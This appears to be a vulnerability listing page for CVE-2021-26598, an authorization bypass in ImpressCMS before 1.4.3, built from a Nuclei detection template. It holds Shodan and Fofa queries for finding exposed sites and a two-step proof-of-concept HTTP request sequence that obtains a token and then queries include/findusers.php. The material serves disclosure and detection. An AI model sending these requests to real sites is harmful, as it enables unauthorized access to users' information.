| Title | ImpressCMS <1.4.3 - Incorrect Authorization |
|---|---|
| Author | gy741,pdteam |
| Severity | Medium |
| Impact | An attacker can bypass authorization and gain unauthorized access to sensitive information or perform unauthorized actions. |
| Remediation | Upgrade to ImpressCMS version 1.4.3 or later to fix the vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.76068 |
| CVE ID | CVE-2021-26598 |
| CWE ID | CWE-287 |
| Shodan Query | http.html:"ImpressCMS"cpe:"cpe:2.3:a:impresscms:impresscms"http.html:"impresscms" |
| Fofa Query | body="impresscms" |
| Tags | cve cve2021 hackerone impresscms unauth cms vuln |
ImpressCMS before 1.4.3 is susceptible to incorrect authorization via include/findusers.php. An attacker can provide a security token and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /misc.php?action=showpopups&type=friend HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /include/findusers.php?token=2oWgUA HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26598.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-26598.pcap
N/AN/A